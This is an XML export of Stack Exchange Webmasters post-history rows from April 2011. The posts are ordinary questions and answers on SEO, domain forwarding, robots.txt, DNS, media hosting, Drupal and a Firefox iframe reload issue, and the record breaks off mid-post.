  <row Id="26548" PostHistoryTypeId="3" PostId="11682" RevisionGUID="40a843b5-5bbe-41e7-87f2-919761086def" CreationDate="2011-04-05T09:44:37.270" UserDisplayName="Smith" Text="&lt;jsp&gt;&lt;web-hosting&gt;" />
  <row Id="26549" PostHistoryTypeId="17" PostId="11682" RevisionGUID="d76612ad-2822-42c4-b4ee-af7360e22abf" CreationDate="2011-04-05T13:58:39.323" UserId="-1" Comment="from http://stackoverflow.com/questions/5549969/how-to-host-jsp-project-on-yahoo-server" Text="" />
  <row Id="26550" PostHistoryTypeId="6" PostId="11681" RevisionGUID="bc85109e-c577-4ac2-aafb-00a729379374" CreationDate="2011-04-05T14:00:57.530" UserId="1253" Comment="added &quot;gatein openam&quot; tags" Text="&lt;gatein&gt;&lt;openam&gt;" />
  <row Id="26551" PostHistoryTypeId="2" PostId="11683" RevisionGUID="4ca69945-a5b7-42a9-8334-a5c52e810f51" CreationDate="2011-04-05T14:13:49.413" UserId="2504" Text="It's a matter of common sense. Its basic human trait that man build their attitude to something/someone in the first interaction they have. There are several factors that lead to this so-called first impression. It's not always look. Its sometime a complex combination of the user experience in interacting with the site or the content itself. For a person who looking for information, what is more important is not design or look, but information itself. &#xD;&#xA;&#xD;&#xA;Some of the areas that can help in getting good impression are:&#xD;&#xA;1.User Experience.&#xD;&#xA;2.Accessibility&#xD;&#xA;3.Usability.&#xD;&#xA;4.Design&#xD;&#xA;5.Speed.&#xD;&#xA;6.Content Worthiness&#xD;&#xA;&#xD;&#xA;**See also:**&#xD;&#xA;&#xD;&#xA; - [21 things that influence in first&#xD;&#xA;   impression - Vandelay Design][1] &#xD;&#xA; -  [First Impression through design -&#xD;&#xA;   UIE][2] &#xD;&#xA; - [A study published in BBC][3]&#xD;&#xA; - [First Impression Count][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vandelaydesign.com/blog/design/first-impression/&#xD;&#xA;  [2]: http://www.uie.com/articles/communicate_quick/&#xD;&#xA;  [3]: http://news.bbc.co.uk/2/hi/technology/4616700.stm&#xD;&#xA;  [4]: http://www.websiteoptimization.com/speed/tweak/blink/" />
  <row Id="26552" PostHistoryTypeId="2" PostId="11684" RevisionGUID="026399b8-d099-4172-852d-6ed2947dcd47" CreationDate="2011-04-05T14:15:23.453" UserId="529" Text="Page depth does not take into account unique pageviews, just total pageviews. So, yes, if your end user refreshes the page in any way, it'll count as a two-page visit. &#xD;&#xA;&#xD;&#xA;If they bookmark the page and return to it a few hours later, its a new visit, and doesn't alter the previous visit's page depth. " />
  <row Id="26553" PostHistoryTypeId="2" PostId="11685" RevisionGUID="e88b6ecc-67da-4bc9-83f7-33853cc145c1" CreationDate="2011-04-05T14:17:34.170" UserId="1725" Text="Lets say I have the following domains:&#xD;&#xA;&#xD;&#xA; - Example.com&#xD;&#xA; - Example.net&#xD;&#xA; - example-two.com&#xD;&#xA; - example-two.net&#xD;&#xA;&#xD;&#xA;Example-two.com and example-two.net redirect (godaddy domain forward) to a sub directory on example.com. &#xD;&#xA;&#xD;&#xA;Right now, I don't have example-two with any google results, how should I go about SEO for forward domains? Changing domains is not an option." />
  <row Id="26554" PostHistoryTypeId="1" PostId="11685" RevisionGUID="e88b6ecc-67da-4bc9-83f7-33853cc145c1" CreationDate="2011-04-05T14:17:34.170" UserId="1725" Text="SEO domain redirect?" />
  <row Id="26555" PostHistoryTypeId="3" PostId="11685" RevisionGUID="e88b6ecc-67da-4bc9-83f7-33853cc145c1" CreationDate="2011-04-05T14:17:34.170" UserId="1725" Text="&lt;seo&gt;&lt;domains&gt;" />
  <row Id="26556" PostHistoryTypeId="2" PostId="11686" RevisionGUID="98f8e180-08ff-4465-b270-e328ba986aa3" CreationDate="2011-04-05T14:18:08.113" UserId="6593" Text="I have been using [Market Samurai][1] (aff link) from quite some time and pretty impressed with it. It will not only help you track your rankings but is very helpful for keyword research also.&#xD;&#xA;&#xD;&#xA;Tip: The advertised price is $147 but I suggest you to get their free 7 days trial version first. Within 7 days they will send you a promo code using which you will be able to buy the tool for $97. (may be it is a little higher for your budget but for the convenience it offers IMHO it is worth the cost)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://reviewofweb.com/go/seMarketSamurai/" />
  <row Id="26557" PostHistoryTypeId="2" PostId="11687" RevisionGUID="3b6002d7-662d-4f86-9516-ebf4a56d94fe" CreationDate="2011-04-05T14:21:53.533" UserDisplayName="jozi" Text="i need a cms for book online reading and sharing like slideshare.net site " />
  <row Id="26558" PostHistoryTypeId="1" PostId="11687" RevisionGUID="3b6002d7-662d-4f86-9516-ebf4a56d94fe" CreationDate="2011-04-05T14:21:53.533" UserDisplayName="jozi" Text="i need a cms for book online reading and sharing like slideshare.net site" />
  <row Id="26559" PostHistoryTypeId="3" PostId="11687" RevisionGUID="3b6002d7-662d-4f86-9516-ebf4a56d94fe" CreationDate="2011-04-05T14:21:53.533" UserDisplayName="jozi" Text="&lt;cms&gt;" />
  <row Id="26560" PostHistoryTypeId="17" PostId="11687" RevisionGUID="afa133e7-ef2b-4a58-9400-a7dcc3c4bd00" CreationDate="2011-04-05T14:28:03.273" UserId="-1" Comment="from http://stackoverflow.com/questions/5553428/i-need-a-cms-for-book-online-reading-and-sharing-like-slideshare-net-site" Text="" />
  <row Id="26561" PostHistoryTypeId="5" PostId="11545" RevisionGUID="67d1d105-9cff-42bf-9a84-a37d66b5a856" CreationDate="2011-04-05T14:28:55.410" UserId="6335" Comment="edited body" Text="I have a website, wich i will fill with a bunch of useful videos.&#xD;&#xA;I've implemented an ads rotation engine for articles and will do so for videos.&#xD;&#xA;&#xD;&#xA;The next milestone is to decide, how video will be integrated.&#xD;&#xA;&#xD;&#xA;They are two ways:&#xD;&#xA;&#xD;&#xA;    1. To host videos myself. Pros: complete freedom. Cons: need tens of gigabytes of storage; support for multiple formats to be crossbrowser and crossdevice.&#xD;&#xA;    2. Use Youtube. Pros: Very simple to use; nothing to do.&#xD;&#xA;&#xD;&#xA;What are pros and cons for each way ?&#xD;&#xA;&#xD;&#xA;Some questions for YouTube:&#xD;&#xA;&#xD;&#xA;    1. Will i be able to control playback of YouTube-embedded video to make post-rolls ?&#xD;&#xA;    2. What is ranking impact on my web-site, when most of pages will refer to YouTube ?&#xD;&#xA;    3. Will, say, iPad play video, embedded via YouTube's iframe ?&#xD;&#xA;    4. Does relying entirely on YouTube have a long-term perspective for a web-site, that should bring money ?" />
  <row Id="26562" PostHistoryTypeId="2" PostId="11688" RevisionGUID="4e099a62-6612-4245-806a-b47c208494b7" CreationDate="2011-04-05T14:29:36.550" UserId="1253" Text="Domain forwarding shouldn't be an issue as long as it's done properly. The odds are those pages rank poorly because of poor SEO or poor content. Is the content unique? High quality? Do you have quality links pointing to those pages? Is the mark up correct and semantic?" />
  <row Id="26563" PostHistoryTypeId="6" PostId="11687" RevisionGUID="e0e44945-deae-46d8-aa6a-8105af0e14fc" CreationDate="2011-04-05T14:30:55.237" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;" />
  <row Id="26564" PostHistoryTypeId="2" PostId="11689" RevisionGUID="8a33118c-2b25-4670-8f0f-a0c26582753c" CreationDate="2011-04-05T14:35:13.163" UserId="6593" Text="SEOT is the amount of search engine traffic that a site in the number 1 position in Google could expect for a chosen period. Anything above 150 in SEOT is fine for me and higher the better. (Here I am assuming in Market Samurai your match type is &quot;Exact&quot; and Period is &quot;Daily&quot;)&#xD;&#xA;SEOV of 2300+ is a very good value to target but make sure to check the competition -SEOC- as well. Such high value keywords normally have lots of competition." />
  <row Id="26565" PostHistoryTypeId="2" PostId="11690" RevisionGUID="92d16384-edfe-4130-bd14-49439e6c73a6" CreationDate="2011-04-05T14:38:39.537" UserId="6593" Text="I'm not sure about others but for GoDaddy private registration I think I read somewhere that you can find out the details of private registrant. (I don't have the link though)" />
  <row Id="26566" PostHistoryTypeId="5" PostId="11688" RevisionGUID="31ff6e74-1228-4e4d-809e-daa454a0dfd2" CreationDate="2011-04-05T14:39:11.490" UserId="1253" Comment="added 93 characters in body" Text="Domain forwarding shouldn't be an issue as long as it's done properly. The odds are those pages rank poorly because of poor SEO or poor content. Is the content unique? High quality? Do you have quality links pointing to those pages? Is the mark up correct and semantic? Do those domains point to the same content? If so then you'll have duplicate content issues." />
  <row Id="26567" PostHistoryTypeId="2" PostId="11691" RevisionGUID="cba9559a-a9f9-4fdb-b782-d88fb41df56f" CreationDate="2011-04-05T15:02:25.987" UserId="2504" Text="The featured you explained could be easily achieved keeping drupal as base. It will just 2-3 days work. &#xD;&#xA;&#xD;&#xA; Follow these steps.&#xD;&#xA;&#xD;&#xA; - Install Drupal.&#xD;&#xA; - Create content types for Maintenance requests, Architectural violations, Architectural change applications.&#xD;&#xA; - Use CCK to create all custom fields that you may require for each.&#xD;&#xA; - Use [this module][1] or [this one][2] for mapping in any content type as required.&#xD;&#xA; - Use User-&gt;Roles and create user roles like admin, boardmember, authorized etc...&#xD;&#xA; - Use User-&gt;Permission to set permissions for each roles.&#xD;&#xA; - Event Related features can be achieved using [enter link description here][3]this module.&#xD;&#xA; - For notification you can use [this module][4] or [this][5].&#xD;&#xA; - Use [this][6] for document repository or if its just to store you can make a content type and create an attachment field so use can upload. That would keep it simple.&#xD;&#xA; - Enable books in core modules and you can use that for things like policy documents.&#xD;&#xA; - Use [this][7] for Newsletter.&#xD;&#xA; - For accounts you can use [this module][8].&#xD;&#xA;&#xD;&#xA;That will be it. Additionally you can use the views module and then create a theme for, and do few codes to integrate all this, so that it work in one piece. It would take maximum of 7 days maybe to have this thing functional. I have seen some friends at [Tridz][9] doing something similar in drupal. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/mappingkit&#xD;&#xA;  [2]: http://drupal.org/project/gmap&#xD;&#xA;  [3]: http://drupal.org/project/event&#xD;&#xA;  [4]: http://drupal.org/project/user_notifications&#xD;&#xA;  [5]: http://drupal.org/documentation/modules/notify&#xD;&#xA;  [6]: http://drupal.org/project/filedepot&#xD;&#xA;  [7]: http://drupal.org/project/simplenews&#xD;&#xA;  [8]: http://drupal.org/project/quickbooks&#xD;&#xA;  [9]: http://tridz.com" />
  <row Id="26568" PostHistoryTypeId="25" PostId="11672" RevisionGUID="36e76c1a-4f96-4b3b-a39c-0c672e091bfd" CreationDate="2011-04-05T15:09:00.827" Comment="http://twitter.com/#!/StackWebmasters/status/55285818243301376" />
  <row Id="26569" PostHistoryTypeId="2" PostId="11692" RevisionGUID="72e580ad-8949-4a46-9673-cf2404600916" CreationDate="2011-04-05T15:28:34.907" UserId="6596" Text="The guide is wrong on one point :&#xD;&#xA;&#xD;&#xA;=&gt; The modification on the jaas.conf file :&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;The guide says to uncomment this :&#xD;&#xA;&#xD;&#xA;  // Uncomment the following part (and comment the other part for CAS integration&#xD;&#xA;&#xD;&#xA;  org.gatein.sso.agent.login.SSOLoginModule required&#xD;&#xA;&#xD;&#xA;  org.exoplatform.services.security.j2ee.TomcatLoginModule required&#xD;&#xA;&#xD;&#xA;  portalContainerName=portal&#xD;&#xA;&#xD;&#xA;  realmName=gatein-domain&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;But the syntax is false, we just need that (be careful on the ';' :&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  // Uncomment the following part (and comment the other part for CAS integration&#xD;&#xA;&#xD;&#xA;org.gatein.sso.agent.login.SSOLoginModule required;&#xD;&#xA;&#xD;&#xA;  org.exoplatform.services.security.j2ee.TomcatLoginModule required;" />
  <row Id="26570" PostHistoryTypeId="2" PostId="11693" RevisionGUID="7a98ac45-2034-430f-bc8d-72ed8f40cdbe" CreationDate="2011-04-05T16:03:00.327" UserId="233" Text="There are three fairly simple ways:&#xD;&#xA;&#xD;&#xA;1. Use Google Analytics, which will process and handle all the data for you, and present you with detailed statistics for visitors and how they got to your site. This is by far the easiest solution.&#xD;&#xA;2. Use Javascript to do the counting. When the page has loaded, generate an AJAX request to your counting script. Robots and spiders don't run Javascript.&#xD;&#xA;3. Detecting &quot;bot&quot; in the user agent string is actually fairly reliable. Alternatively, you could stick to known bots only such as Googlebot, Yahoo, MSNbot etc. Checking those three should cover 99% of your bot traffic. [This page][1] has some others but it looks quite out of date.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jafsoft.com/searchengines/webbots.html#search_engine_robots_and_others" />
  <row Id="26571" PostHistoryTypeId="2" PostId="11694" RevisionGUID="27fd2eb5-f5b3-4f7a-a2fd-e13f124c59dd" CreationDate="2011-04-05T16:55:38.120" UserId="5420" Text="Last year I started working with a team on our first major web project (&lt;a href=&quot;http://wethepixels.com&quot;&gt;We, the Pixels&lt;/a&gt;). I believe the idea is very solid, but it has a hard requirement for a group of people being on the site for the randomly scheduled events.  We are having problems getting people to come and stay for these events.&#xD;&#xA;&#xD;&#xA;What is the proper marketing approach needed to bring people to the site for these events.  We have recently done the following in an attempt to fix the problem:&#xD;&#xA;&#xD;&#xA;- Added email notification of new events being created&#xD;&#xA;- Added privileges based on rank&#xD;&#xA;- Added text throughout the site encouraging setting up the events in the future so other users can have time see that it exists.&#xD;&#xA;- Gotten involved in with other communities that would find the site interesting in order to promote (market) the site&#xD;&#xA;- Advertised using Google Adwords&#xD;&#xA;&#xD;&#xA;Is there an standard marketing approach for such a case as this?&#xD;&#xA;&#xD;&#xA;Thank you for any answers!" />
  <row Id="26572" PostHistoryTypeId="1" PostId="11694" RevisionGUID="27fd2eb5-f5b3-4f7a-a2fd-e13f124c59dd" CreationDate="2011-04-05T16:55:38.120" UserId="5420" Text="Marketing for Scheduled Online Events" />
  <row Id="26573" PostHistoryTypeId="3" PostId="11694" RevisionGUID="27fd2eb5-f5b3-4f7a-a2fd-e13f124c59dd" CreationDate="2011-04-05T16:55:38.120" UserId="5420" Text="&lt;advertising&gt;&lt;marketing&gt;" />
  <row Id="26574" PostHistoryTypeId="2" PostId="11695" RevisionGUID="1fe7c898-a308-48a6-8a61-4811c6d09737" CreationDate="2011-04-05T17:00:03.810" UserId="6598" Text="There are some blogs where user can submit their start-ups for a review. Among them **&lt;a href=&quot;http://techcrunch.com/&quot;&gt;TechCrunch&lt;/a&gt;**, **ReadWriteWeb**, **&lt;a href=&quot;http://startuptunes.com&quot;&gt;StartupTunes&lt;/a&gt;**, **The Next Web** etc are common.&#xD;&#xA;&#xD;&#xA;But what are others we can try submitting our start-ups for a review. More blogs mean more reviews and more quality SEO backlinks. So, share more quality start-up review blogs here and help us all.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26575" PostHistoryTypeId="1" PostId="11695" RevisionGUID="1fe7c898-a308-48a6-8a61-4811c6d09737" CreationDate="2011-04-05T17:00:03.810" UserId="6598" Text="What are the best blogs for submitting new startups?" />
  <row Id="26576" PostHistoryTypeId="3" PostId="11695" RevisionGUID="1fe7c898-a308-48a6-8a61-4811c6d09737" CreationDate="2011-04-05T17:00:03.810" UserId="6598" Text="&lt;seo&gt;&lt;blog&gt;&lt;backlinks&gt;&lt;articles&gt;&lt;website-review&gt;" />
  <row Id="26577" PostHistoryTypeId="16" PostId="11695" RevisionGUID="fd0349a1-9e55-458b-8acc-ca452cc814dc" CreationDate="2011-04-05T17:03:04.823" UserId="1253" />
  <row Id="26578" PostHistoryTypeId="25" PostId="11695" RevisionGUID="06f14c5c-3908-4fff-b8dd-f7f5b2a3b8e2" CreationDate="2011-04-05T18:09:00.773" Comment="http://twitter.com/#!/StackWebmasters/status/55331117057847296" />
  <row Id="26579" PostHistoryTypeId="2" PostId="11696" RevisionGUID="4eb60570-6699-4beb-9cfe-4085c34bbca3" CreationDate="2011-04-05T19:17:40.387" UserId="6600" Text="Right now, amazon s3 holds all my images, but I must wonder, is that necessary or for the best?&#xD;&#xA;&#xD;&#xA;It seems to me like for images, such as a favicon, I should just host it on my own server since s3 charges per http request.&#xD;&#xA;&#xD;&#xA;What do you guys think? What is your general rule of thumb?" />
  <row Id="26580" PostHistoryTypeId="1" PostId="11696" RevisionGUID="4eb60570-6699-4beb-9cfe-4085c34bbca3" CreationDate="2011-04-05T19:17:40.387" UserId="6600" Text="What media should I store on server and what media should I store on 3rd party hosts?" />
  <row Id="26581" PostHistoryTypeId="3" PostId="11696" RevisionGUID="4eb60570-6699-4beb-9cfe-4085c34bbca3" CreationDate="2011-04-05T19:17:40.387" UserId="6600" Text="&lt;image&gt;&lt;amazon-s3&gt;&lt;host&gt;" />
  <row Id="26582" PostHistoryTypeId="2" PostId="11697" RevisionGUID="bcd7b6b5-f4ba-4114-a987-063743b5a4d5" CreationDate="2011-04-05T19:28:09.193" UserId="5806" Text="Yes, it is possible but Amazon does not help you with this. I use this on [Neocamera][1].&#xD;&#xA;&#xD;&#xA;Once **registered with all the Amazon programs of your choice** you need to use each of them to create the banners you need.&#xD;&#xA;&#xD;&#xA;It is **easiest if you use categories** (Electronics, Books, DVDs, etc) instead of products (BBC Earth, Lord of the Rings DVD, etc) because there is more chances of having something that matches on multiple sites.&#xD;&#xA;&#xD;&#xA;Categories do not always exist though, for example one Amazon will put cameras in the Photo category and another will put it in Electronics. Also, MP3s and Downloads only exist in some places.&#xD;&#xA;&#xD;&#xA;**Put the generated banners somewhere such as database along with the country code.** Each time a visitor arrives on your site use a Geolocation API (Downloaded a PHP one) to get the user's country code and query for a banner that matches.&#xD;&#xA;&#xD;&#xA;If there is no match, you can show nothing, show your preferred one (Amazon US actually ships some products internationally but not most) or backill from another affiliate program that works everything, such as a software download or online service.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.neocamera.com" />
  <row Id="26583" PostHistoryTypeId="2" PostId="11698" RevisionGUID="e23d5102-1ec6-42a0-913d-d527348c9399" CreationDate="2011-04-05T19:33:11.183" UserId="5806" Text="Host everything you can. When you can't, delegate :) Now I am sure someone will say the exact opposite but which one you choose depends on how much control you like.&#xD;&#xA;&#xD;&#xA;Of course, *can't* is sometimes subjective, it could have to do with cost, latency, bandwidth, etc. Most sites I've seen host their own data except for large high-bandwidth media such as large images and videos." />
  <row Id="26584" PostHistoryTypeId="2" PostId="11699" RevisionGUID="ba24736a-a419-480c-8ebb-9485a7580ad5" CreationDate="2011-04-05T19:42:41.640" UserId="5806" Text="**Your domain example-two.net should use a 301 redirect.** In all likelihood, it already does since GoDaddy is doing it for you. This will pass along ranking from the forwarded domain the its target.&#xD;&#xA;&#xD;&#xA;Everything John Conde said applies. **You need to make the content in example-two.net interesting and have links to it.** To not split ranking between people going through example-two.net and those arriving at example.com, you must decide on the official name and use a [canonical meta][1] to let search-engines know these are the same domain.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/848/how-to-use-rel-canonical-properly" />
  <row Id="26585" PostHistoryTypeId="25" PostId="11669" RevisionGUID="6eb02fbf-21ca-43ad-81ea-c98ef17a1d12" CreationDate="2011-04-05T21:09:00.620" Comment="http://twitter.com/#!/StackWebmasters/status/55376413854924800" />
  <row Id="26586" PostHistoryTypeId="2" PostId="11700" RevisionGUID="66ff1e07-c175-4591-a28a-cee0b8178eea" CreationDate="2011-04-05T21:18:55.630" UserId="2766" Text="So, on all of our sites that are not search facing we've applied a robots.txt file (per http://webmasters.stackexchange.com/questions/8144/how-to-exclude-a-website-from-real-time-google-search-results, or any other similar question).&#xD;&#xA;&#xD;&#xA;However, if search terms are specific enough, the domain itself can be found via results. An example of this can be found [here][1]. As you can see from the link, the domain itself can be found (content is not cached, but domain is listed). Additionally, clicking the &quot;similar&quot; link under it will provide the `title` of the page, per the HTML.&#xD;&#xA;&#xD;&#xA;Now, I know this is a severe edge case, however my companies clients are doing just this. In fact, our domains are pretty good, so even seemingly arbitrary searches are turning up relevant results. Now, I have to write up a report on how/why this is happening.&#xD;&#xA;&#xD;&#xA;So, I turn to the wonderful Stack Exchange network to help me either understand what I am missing or understand what is happening. Links to industry articles are extremely helpful but, anything you can give is obviously greatful. I do intend to offer bounties the best I can to make this an answer to turn to in the future.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=gm%20package%20guide" />
  <row Id="26587" PostHistoryTypeId="1" PostId="11700" RevisionGUID="66ff1e07-c175-4591-a28a-cee0b8178eea" CreationDate="2011-04-05T21:18:55.630" UserId="2766" Text="Robots denied by domain is still listed in search results" />
  <row Id="26588" PostHistoryTypeId="3" PostId="11700" RevisionGUID="66ff1e07-c175-4591-a28a-cee0b8178eea" CreationDate="2011-04-05T21:18:55.630" UserId="2766" Text="&lt;seo&gt;" />
  <row Id="26589" PostHistoryTypeId="2" PostId="11701" RevisionGUID="b0c142e1-432e-44e4-b358-48470fe4e655" CreationDate="2011-04-05T21:41:28.600" UserId="6467" Text="I think Matt Cutts talked about this. If my memory is correct it had to do with linking. &#xD;&#xA;Here is more: http://www.google.com/support/forum/p/Webmasters/thread?tid=2720810fa226e9c8&amp;hl=en&#xD;&#xA;&#xD;&#xA;You can remove them with the Google removal tool. " />
  <row Id="26590" PostHistoryTypeId="5" PostId="11700" RevisionGUID="d2cac69e-269c-4750-8c4a-2cc20242e189" CreationDate="2011-04-05T22:17:02.563" UserId="2766" Comment="updated to use a different example that has ALWAYS been robots denied." Text="So, on all of our sites that are not search facing we've applied a robots.txt file (per http://webmasters.stackexchange.com/questions/8144/how-to-exclude-a-website-from-real-time-google-search-results, or any other similar question).&#xD;&#xA;&#xD;&#xA;However, if search terms are specific enough, the domain itself can be found via results. An example of this can be found [here][1]. As you can see from the link, the domain itself can be found (content is not cached, but domain is listed). Additionally, performing a search with `site:hyundaidigitalmarketing.com` should 3 results. Checking backlinks provides a few as well, but I obviously cannot prevent them (linking is allowe din context) or control how these are handled (can't tell the host to add nofollow, noindex).&#xD;&#xA;&#xD;&#xA;Now, I know this is a severe edge case, however my companies clients are doing just this. In fact, our domains are pretty good, so even seemingly arbitrary searches are turning up relevant results. Now, I have to write up a report on how/why this is happening.&#xD;&#xA;&#xD;&#xA;So, I turn to the wonderful Stack Exchange network to help me either understand what I am missing or understand what is happening. Links to industry articles are extremely helpful but, anything you can give is obviously greatful. I do intend to offer bounties the best I can to make this an answer to turn to in the future.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=hyundai%20digital%20marketing" />
  <row Id="26591" PostHistoryTypeId="2" PostId="11702" RevisionGUID="28c49801-b68c-43f0-8978-b2e47db85e1c" CreationDate="2011-04-05T22:23:47.717" UserId="3659" Text="Android + [Rooting][1]. Makes you life much easier ;-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Rooting_%28Android_OS%29" />
  <row Id="26592" PostHistoryTypeId="6" PostId="11685" RevisionGUID="6f2f8ad9-13b4-41e2-b286-1c3865a34ed7" CreationDate="2011-04-05T23:03:17.683" UserId="3659" Comment="Added the 'redirects' tag" Text="&lt;seo&gt;&lt;domains&gt;&lt;redirects&gt;" />
  <row Id="26593" PostHistoryTypeId="24" PostId="11685" RevisionGUID="6f2f8ad9-13b4-41e2-b286-1c3865a34ed7" CreationDate="2011-04-05T23:03:17.683" Comment="Proposed by 3659 approved by 1253 edit id of 97" />
  <row Id="26594" PostHistoryTypeId="2" PostId="11703" RevisionGUID="5447b0b5-5c10-4f63-ac57-6290d71a5146" CreationDate="2011-04-05T23:33:24.097" UserId="1253" Text="I'll have to go looking for the source of this information but apparently robots.txt will not necessarily prevent a page from being indexed. But the HTTP x-robots-tag header does apparently work.&#xD;&#xA;&#xD;&#xA;If you're using Apache you can block pages in bulk using this line in an .htaccess file:&#xD;&#xA;&#xD;&#xA;    Header set x-robots-tag: noindex&#xD;&#xA;&#xD;&#xA;Give that a try and see what happens.&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;(Found [a source][1]. Not the one I remember but it works).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bosmol.com/2009/12/robotstxt-meta-tag-versus-x-robots-tag.html" />
  <row Id="26595" PostHistoryTypeId="5" PostId="11700" RevisionGUID="9cc163f9-217d-4306-8a53-5ad096caf5b6" CreationDate="2011-04-05T23:44:14.200" UserId="2766" Comment="typossss" Text="So, on all of our sites that are not search facing we've applied a robots.txt file (per http://webmasters.stackexchange.com/questions/8144/how-to-exclude-a-website-from-real-time-google-search-results, or any other similar question).&#xD;&#xA;&#xD;&#xA;However, if search terms are specific enough, the domain itself can be found via results. An example of this can be found [here][1]. As you can see from the link, the domain itself can be found (content is not cached, but domain is listed). Additionally, performing a search with `site:hyundaidigitalmarketing.com` should 3 results. Checking backlinks provides a few as well, but I obviously cannot prevent them (linking is allowed in context) or control how these are handled (can't tell the host to add nofollow, noindex).&#xD;&#xA;&#xD;&#xA;Now, I know this is a severe edge case, however my companies clients are doing just this. In fact, our domains are pretty good, so even seemingly arbitrary searches are turning up relevant results. Now, I have to write up a report on how/why this is happening.&#xD;&#xA;&#xD;&#xA;So, I turn to the wonderful Stack Exchange network to help me either understand what I am missing or understand what is happening. Links to industry articles are extremely helpful but, anything you can give is obviously greatful. I do intend to offer bounties the best I can to make this an answer to turn to in the future.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=hyundai%20digital%20marketing" />
  <row Id="26596" PostHistoryTypeId="25" PostId="11700" RevisionGUID="b1fdf862-56c2-4fe0-89c7-c1a8b3fb3dcc" CreationDate="2011-04-06T00:09:00.660" Comment="http://twitter.com/#!/StackWebmasters/status/55421713034395648" />
  <row Id="26597" PostHistoryTypeId="17" PostId="11705" RevisionGUID="d09886c1-08ed-4677-a4b2-2a74d64f8fd2" CreationDate="2011-04-06T00:46:49.207" UserId="-1" Comment="from http://stackoverflow.com/questions/5546645/what-dns-settings-to-point-domain2-com-to-sitename-mydomain-com/5546666#5546666" Text="" />
  <row Id="26598" PostHistoryTypeId="2" PostId="11705" RevisionGUID="8206fd99-ca36-476b-a2bf-813a0770d336" CreationDate="2011-04-05T02:49:23.117" UserDisplayName="pyth" Text="http://en.wikipedia.org/wiki/CNAME_record" />
  <row Id="26599" PostHistoryTypeId="2" PostId="11704" RevisionGUID="ff121a6f-ee42-4692-bb45-f3687cfe0708" CreationDate="2011-04-05T02:44:56.850" UserId="5881" Text="I have a website at sitename.mydomain.com.  &#xD;&#xA;&#xD;&#xA;What DNS settings do I use if I want domain2.com to point at it, without having to point directly at the IP address?&#xD;&#xA;&#xD;&#xA;(Apparently it has to use CNAMEs rather that A Records because A Records require an IP address, I think?)" />
  <row Id="26600" PostHistoryTypeId="1" PostId="11704" RevisionGUID="ff121a6f-ee42-4692-bb45-f3687cfe0708" CreationDate="2011-04-05T02:44:56.850" UserId="5881" Text="What DNS settings to point domain2.com to sitename.mydomain.com?" />
  <row Id="26601" PostHistoryTypeId="3" PostId="11704" RevisionGUID="ff121a6f-ee42-4692-bb45-f3687cfe0708" CreationDate="2011-04-05T02:44:56.850" UserId="5881" Text="&lt;dns&gt;" />
  <row Id="26602" PostHistoryTypeId="17" PostId="11704" RevisionGUID="fb990194-9902-46c8-b9ab-dc5cd4bd6015" CreationDate="2011-04-06T00:46:49.207" UserId="-1" Comment="from http://stackoverflow.com/questions/5546645/what-dns-settings-to-point-domain2-com-to-sitename-mydomain-com" Text="" />
  <row Id="26603" PostHistoryTypeId="2" PostId="11706" RevisionGUID="d9a9f676-1021-4f4a-be00-70695844c80a" CreationDate="2011-04-06T00:47:07.087" UserId="6604" Text="I encountered this same behavior years ago and gave up back then when I couldn't find a solution. I'm hoping someone knows what's going on here and how to solve it.&#xD;&#xA;&#xD;&#xA;I have found that if you have a page in Firefox that contains an iframe and in that iframe you load a sub-page that redirects to a second sub-page, you will never see the first sub-page again if you hit &quot;reload/refresh&quot;. The only way to see the first sub-page again is to close the window/tab and reopen the parent page. It seems that if you reload a page Firefox will *always* jump straight to the second sub-page every time. This happens even if you subsequently change the initial iframe URL in the parent document. And this **even** happens if you change the URL **and** clear your cache. &#xD;&#xA;&#xD;&#xA;When I encountered this problem before, it was causing issues with our ad serving, but this time it's a content issue. Has anyone encountered this themselves and know a way around it? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="26604" PostHistoryTypeId="1" PostId="11706" RevisionGUID="d9a9f676-1021-4f4a-be00-70695844c80a" CreationDate="2011-04-06T00:47:07.087" UserId="6604" Text="Firefox, iframes and redirects" />
  <row Id="26605" PostHistoryTypeId="3" PostId="11706" RevisionGUID="d9a9f676-1021-4f4a-be00-70695844c80a" CreationDate="2011-04-06T00:47:07.087" UserId="6604" Text="&lt;html&gt;&lt;firefox&gt;&lt;iframe&gt;" />
  <row Id="26606" PostHistoryTypeId="5" PostId="11706" RevisionGUID="1733a7d0-db40-4f46-b0d4-4c2677796d87" CreationDate="2011-04-06T01:24:59.050" UserId="6604" Comment="Adding steps to reproduce" Text="I encountered this same behavior years ago and gave up back then when I couldn't find a solution. I'm hoping someone knows what's going on here and how to solve it.&#xD;&#xA;&#xD;&#xA;I have found that if you have a page in Firefox that contains an iframe and in that iframe you load a sub-page that redirects to a second sub-page, you will never see the first sub-page again if you hit &quot;reload/refresh&quot;. The only way to see the first sub-page again is to close the window/tab and reopen the parent page. It seems that if you reload a page Firefox will *always* jump straight to the second sub-page every time. This happens even if you subsequently change the initial iframe URL in the parent document. And this **even** happens if you change the URL **and** clear your cache. &#xD;&#xA;&#xD;&#xA;When I encountered this problem before, it was causing issues with our ad serving, but this time it's a content issue. Has anyone encountered this themselves and know a way around it? &#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;**[EDIT]**&#xD;&#xA;&#xD;&#xA;I've created thee files you can use to test the iframe behavior, 